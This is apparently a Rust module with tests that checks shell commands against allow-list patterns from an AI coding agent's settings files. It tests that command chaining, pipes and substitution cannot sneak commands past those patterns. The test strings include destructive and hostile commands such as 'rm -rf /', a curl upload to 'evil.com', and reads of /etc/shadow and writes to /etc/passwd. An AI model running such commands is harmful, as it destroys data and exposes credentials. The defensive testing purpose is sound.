1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12 pub fn load() -> Self {
13 Self::load_with_project_dir(
14 std::env::var_os("CLAUDE_PROJECT_DIR")
15 .or_else(|| std::env::var_os("CWD"))
16 .as_deref()
17 .map(Path::new),
18 )
19 }
20
21 pub fn load_with_project_dir(project_dir: Option<&Path>) -> Self {
22 let mut patterns = Matcher {
23 exact: HashSet::new(),
24 globs: Vec::new(),
25 };
26
27 if let Some(home) = std::env::var_os("HOME") {
28 patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
29 }
30
31 if let Some(dir) = project_dir {
32 let base = dir.join(".claude");
33 patterns.load_file(&base.join("settings.json"));
34 patterns.load_file(&base.join("settings.local.json"));
35 }
36
37 patterns
38 }
39
40 fn load_file(&mut self, path: &Path) {
41 let Ok(contents) = std::fs::read_to_string(path) else {
42 return;
43 };
44 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
45 return;
46 };
47
48 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
49 for entry in arr.iter().filter_map(|e| e.as_str()) {
50 self.add_pattern(entry);
51 }
52 }
53
54 if let Some(arr) = value
55 .get("permissions")
56 .and_then(|v| v.get("allow"))
57 .and_then(|v| v.as_array())
58 {
59 for entry in arr.iter().filter_map(|e| e.as_str()) {
60 self.add_pattern(entry);
61 }
62 }
63 }
64
65 fn add_pattern(&mut self, entry: &str) {
66 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
67 return;
68 };
69 if inner.is_empty() {
70 return;
71 }
72 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
73 format!("{prefix} *")
74 } else {
75 inner.to_string()
76 };
77 if normalized.contains('*') {
78 self.globs
79 .push(normalized.split('*').map(String::from).collect());
80 } else {
81 self.exact.insert(normalized);
82 }
83 }
84
85 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
86 let Cmd::Simple(simple) = cmd else {
87 return false;
88 };
89 let normalized = check::normalize_for_matching(simple);
90 let normalized = normalized.trim();
91 if normalized.is_empty() {
92 return false;
93 }
94 if self.exact.contains(normalized) {
95 return true;
96 }
97 self.globs
98 .iter()
99 .any(|parts| glob_matches(parts, normalized))
100 }
101
102 pub fn is_empty(&self) -> bool {
103 self.exact.is_empty() && self.globs.is_empty()
104 }
105
106 #[cfg(test)]
107 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
108 let mut m = Matcher {
109 exact: HashSet::new(),
110 globs: Vec::new(),
111 };
112 for p in patterns {
113 m.add_pattern(&format!("Bash({p})"));
114 }
115 m
116 }
117}
118
119pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
120 match cmd {
121 Cmd::Simple(_) => {
122 check::is_safe_cmd(cmd)
123 || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
124 }
125 _ => check::is_safe_cmd(cmd),
126 }
127}
128
129fn glob_matches(parts: &[String], text: &str) -> bool {
130 let first = &parts[0];
131 let last = &parts[parts.len() - 1];
132
133 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
134 let prefix = &first[..first.len() - 1];
135 return text == prefix || text.starts_with(first.as_str());
136 }
137
138 if !text.starts_with(first.as_str()) {
139 return false;
140 }
141 if !text.ends_with(last.as_str()) {
142 return false;
143 }
144 let mut pos = first.len();
145 let end = text.len() - last.len();
146 if pos > end {
147 return false;
148 }
149 for part in &parts[1..parts.len() - 1] {
150 match text[pos..end].find(part.as_str()) {
151 Some(idx) => pos += idx + part.len(),
152 None => return false,
153 }
154 }
155 pos <= end
156}
157
158#[cfg(test)]
159mod tests {
160 use super::*;
161 use std::fs;
162
163 use crate::cst;
164
165 fn empty() -> Matcher {
166 Matcher {
167 exact: HashSet::new(),
168 globs: Vec::new(),
169 }
170 }
171
172 fn cmd(s: &str) -> Cmd {
173 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
174 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
175 assert_eq!(
176 script.0[0].pipeline.commands.len(),
177 1,
178 "expected single command: {s}"
179 );
180 script.0[0].pipeline.commands[0].clone()
181 }
182
183 fn segments(command: &str) -> Vec<Cmd> {
184 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
185 script
186 .0
187 .into_iter()
188 .flat_map(|stmt| stmt.pipeline.commands)
189 .collect()
190 }
191
192 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
193 is_cmd_covered(cmd, patterns)
194 }
195
196 fn all_covered(command: &str, patterns: &Matcher) -> bool {
197 let Some(script) = cst::parse(command) else {
198 return false;
199 };
200 script.0.iter().all(|stmt| {
201 check::is_safe_pipeline(&stmt.pipeline)
202 || stmt
203 .pipeline
204 .commands
205 .iter()
206 .all(|c| is_cmd_covered(c, patterns))
207 })
208 }
209
210 #[test]
211 fn parse_exact_pattern() {
212 let mut p = empty();
213 p.add_pattern("Bash(npm test)");
214 assert!(p.exact.contains("npm test"));
215 assert!(p.globs.is_empty());
216 }
217
218 #[test]
219 fn parse_legacy_colon_star() {
220 let mut p = empty();
221 p.add_pattern("Bash(npm run:*)");
222 assert!(p.exact.is_empty());
223 assert_eq!(p.globs.len(), 1);
224 }
225
226 #[test]
227 fn parse_space_star() {
228 let mut p = empty();
229 p.add_pattern("Bash(npm run *)");
230 assert!(p.exact.is_empty());
231 assert_eq!(p.globs.len(), 1);
232 }
233
234 #[test]
235 fn parse_non_bash_skipped() {
236 let mut p = empty();
237 p.add_pattern("WebFetch");
238 p.add_pattern("XcodeBuildMCP");
239 assert!(p.is_empty());
240 }
241
242 #[test]
243 fn parse_empty_bash_skipped() {
244 let mut p = empty();
245 p.add_pattern("Bash()");
246 assert!(p.is_empty());
247 }
248
249 #[test]
250 fn match_exact() {
251 let mut p = empty();
252 p.add_pattern("Bash(npm test)");
253 assert!(p.matches_cmd(&cmd("npm test")));
254 assert!(!p.matches_cmd(&cmd("npm test --watch")));
255 }
256
257 #[test]
258 fn match_space_star_word_boundary() {
259 let mut p = empty();
260 p.add_pattern("Bash(ls *)");
261 assert!(p.matches_cmd(&cmd("ls -la")));
262 assert!(p.matches_cmd(&cmd("ls foo")));
263 assert!(!p.matches_cmd(&cmd("lsof")));
264 }
265
266 #[test]
267 fn match_star_no_space_no_boundary() {
268 let mut p = empty();
269 p.add_pattern("Bash(ls*)");
270 assert!(p.matches_cmd(&cmd("ls -la")));
271 assert!(p.matches_cmd(&cmd("lsof")));
272 }
273
274 #[test]
275 fn match_legacy_colon_star_word_boundary() {
276 let mut p = empty();
277 p.add_pattern("Bash(npm run:*)");
278 assert!(p.matches_cmd(&cmd("npm run build")));
279 assert!(p.matches_cmd(&cmd("npm run test")));
280 assert!(!p.matches_cmd(&cmd("npm running")));
281 assert!(!p.matches_cmd(&cmd("npm install")));
282 }
283
284 #[test]
285 fn match_star_at_beginning() {
286 let mut p = empty();
287 p.add_pattern("Bash(* --version)");
288 assert!(p.matches_cmd(&cmd("npm --version")));
289 assert!(p.matches_cmd(&cmd("cargo --version")));
290 assert!(!p.matches_cmd(&cmd("npm --help")));
291 }
292
293 #[test]
294 fn match_star_in_middle() {
295 let mut p = empty();
296 p.add_pattern("Bash(git * main)");
297 assert!(p.matches_cmd(&cmd("git checkout main")));
298 assert!(p.matches_cmd(&cmd("git merge main")));
299 assert!(!p.matches_cmd(&cmd("git checkout develop")));
300 }
301
302 #[test]
303 fn match_env_prefix_stripped() {
304 let mut p = empty();
305 p.add_pattern("Bash(bundle install)");
306 assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
307 }
308
309 #[test]
310 fn match_fd_redirect_stripped() {
311 let mut p = empty();
312 p.add_pattern("Bash(npm test)");
313 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
314 }
315
316 #[test]
317 fn match_fd_redirect_with_glob() {
318 let mut p = empty();
319 p.add_pattern("Bash(npm run *)");
320 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
321 }
322
323 #[test]
324 fn empty_patterns_match_nothing() {
325 let p = empty();
326 assert!(!p.matches_cmd(&cmd("anything")));
327 }
328
329 #[test]
330 fn match_bare_star_matches_everything() {
331 let mut p = empty();
332 p.add_pattern("Bash(*)");
333 assert!(p.matches_cmd(&cmd("anything at all")));
334 assert!(p.matches_cmd(&cmd("rm -rf /")));
335 }
336
337 #[test]
338 fn unsafe_syntax_not_bypassed_by_match() {
339 let mut p = empty();
340 p.add_pattern("Bash(./script.sh *)");
341 let c = cmd("./script.sh > /etc/passwd");
342 assert!(check::has_unsafe_syntax(&c));
343 assert!(!is_covered(&c, &p));
344 }
345
346 #[test]
347 fn command_substitution_not_bypassed_by_match() {
348 let mut p = empty();
349 p.add_pattern("Bash(./script.sh *)");
350 let c = cmd("./script.sh $(rm -rf /)");
351 assert!(!is_covered(&c, &p));
352 }
353
354 #[test]
355 fn mixed_chain_safe_plus_settings() {
356 let mut p = empty();
357 p.add_pattern("Bash(./generate-docs.sh)");
358 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
359 }
360
361 #[test]
362 fn mixed_chain_safe_plus_unapproved_denied() {
363 let mut p = empty();
364 p.add_pattern("Bash(./generate-docs.sh)");
365 assert!(!all_covered("cargo test && rm -rf /", &p));
366 }
367
368 #[test]
369 fn glob_does_not_cross_chain_boundary() {
370 let mut p = empty();
371 p.add_pattern("Bash(cargo test *)");
372 let cmds = segments("cargo test --release && rm -rf /");
373 assert_eq!(cmds.len(), 2);
374 assert!(p.matches_cmd(&cmds[0]));
375 assert!(!p.matches_cmd(&cmds[1]));
376 assert!(!all_covered("cargo test --release && rm -rf /", &p));
377 }
378
379 #[test]
380 fn glob_does_not_cross_pipe_boundary() {
381 let mut p = empty();
382 p.add_pattern("Bash(safe-cmd *)");
383 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
384 }
385
386 #[test]
387 fn glob_does_not_cross_semicolon_boundary() {
388 let mut p = empty();
389 p.add_pattern("Bash(safe-cmd *)");
390 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
391 }
392
393 #[test]
394 fn file_redirect_promoted_to_safewrite() {
395 let p = empty();
396 let c = cmd("echo > /etc/passwd");
397 assert!(is_covered(&c, &p));
398 }
399
400 #[test]
401 fn bare_star_blocked_by_unsafe_syntax_backtick() {
402 let mut p = empty();
403 p.add_pattern("Bash(*)");
404 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
405 }
406
407 #[test]
408 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
409 let mut p = empty();
410 p.add_pattern("Bash(*)");
411 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
412 }
413
414 #[test]
415 fn safe_command_substitution_allowed_through_is_safe() {
416 let p = empty();
417 assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
418 }
419
420 #[test]
421 fn nested_shell_not_recursively_validated_by_settings() {
422 let mut p = empty();
423 p.add_pattern("Bash(bash *)");
424 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
425 assert!(!check::is_safe_cmd(&c));
426 assert!(!check::has_unsafe_syntax(&c));
427 assert!(is_covered(&c, &p));
428 }
429
430 #[test]
431 fn nested_shell_redirect_promoted_to_safewrite() {
432 let p = empty();
433 let c = cmd("bash -c 'echo hello' > /tmp/out");
434 assert!(is_covered(&c, &p));
435 }
436
437 #[test]
438 fn quoted_operators_stay_as_one_segment() {
439 let mut p = empty();
440 p.add_pattern("Bash(./script *)");
441 assert!(all_covered("./script 'arg && rm -rf /'", &p));
442 }
443
444 #[test]
445 fn load_with_project_dir_reads_local_settings() {
446 let dir = tempfile::tempdir().unwrap();
447 let claude_dir = dir.path().join(".claude");
448 fs::create_dir_all(&claude_dir).unwrap();
449 fs::write(
450 claude_dir.join("settings.local.json"),
451 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
452 )
453 .unwrap();
454 let p = Matcher::load_with_project_dir(Some(dir.path()));
455 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
456 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
457 assert!(!p.matches_cmd(&cmd("./evil.sh")));
458 }
459
460 #[test]
461 fn load_with_project_dir_reads_both_settings_files() {
462 let dir = tempfile::tempdir().unwrap();
463 let claude_dir = dir.path().join(".claude");
464 fs::create_dir_all(&claude_dir).unwrap();
465 fs::write(
466 claude_dir.join("settings.json"),
467 r#"{"permissions":{"allow":["Bash(cargo install:*)"]}}"#,
468 )
469 .unwrap();
470 fs::write(
471 claude_dir.join("settings.local.json"),
472 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
473 )
474 .unwrap();
475 let p = Matcher::load_with_project_dir(Some(dir.path()));
476 assert!(p.matches_cmd(&cmd("cargo install --path .")));
477 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
478 }
479
480 #[test]
481 fn load_with_no_project_dir_skips_project_settings() {
482 let p = Matcher::load_with_project_dir(None);
483 assert!(!p.matches_cmd(&cmd("./generate-docs.sh")));
484 }
485
486 #[test]
487 fn load_with_project_dir_chains_with_builtins() {
488 let dir = tempfile::tempdir().unwrap();
489 let claude_dir = dir.path().join(".claude");
490 fs::create_dir_all(&claude_dir).unwrap();
491 fs::write(
492 claude_dir.join("settings.local.json"),
493 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
494 )
495 .unwrap();
496 let p = Matcher::load_with_project_dir(Some(dir.path()));
497 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
498 assert!(!all_covered("cargo test && ./evil.sh", &p));
499 }
500
501 #[test]
502 fn load_file_nonexistent() {
503 let mut p = empty();
504 p.load_file(Path::new("/nonexistent/path/settings.json"));
505 assert!(p.is_empty());
506 }
507
508 #[test]
509 fn load_file_malformed_json() {
510 let dir = tempfile::tempdir().unwrap();
511 let path = dir.path().join("settings.json");
512 std::fs::write(&path, "not json{{{").unwrap();
513 let mut p = empty();
514 p.load_file(&path);
515 assert!(p.is_empty());
516 }
517
518 #[test]
519 fn load_file_approved_commands() {
520 let dir = tempfile::tempdir().unwrap();
521 let path = dir.path().join("settings.json");
522 fs::write(
523 &path,
524 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
525 )
526 .unwrap();
527 let mut p = empty();
528 p.load_file(&path);
529 assert!(p.matches_cmd(&cmd("npm test")));
530 assert!(p.matches_cmd(&cmd("npm run build")));
531 assert!(!p.matches_cmd(&cmd("curl evil.com")));
532 }
533
534 #[test]
535 fn load_file_permissions_allow() {
536 let dir = tempfile::tempdir().unwrap();
537 let path = dir.path().join("settings.json");
538 fs::write(
539 &path,
540 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
541 )
542 .unwrap();
543 let mut p = empty();
544 p.load_file(&path);
545 assert!(p.matches_cmd(&cmd("cargo test")));
546 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
547 }
548
549 #[test]
550 fn load_file_both_fields() {
551 let dir = tempfile::tempdir().unwrap();
552 let path = dir.path().join("settings.json");
553 fs::write(
554 &path,
555 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
556 )
557 .unwrap();
558 let mut p = empty();
559 p.load_file(&path);
560 assert!(p.matches_cmd(&cmd("npm test")));
561 assert!(p.matches_cmd(&cmd("cargo test --release")));
562 }
563}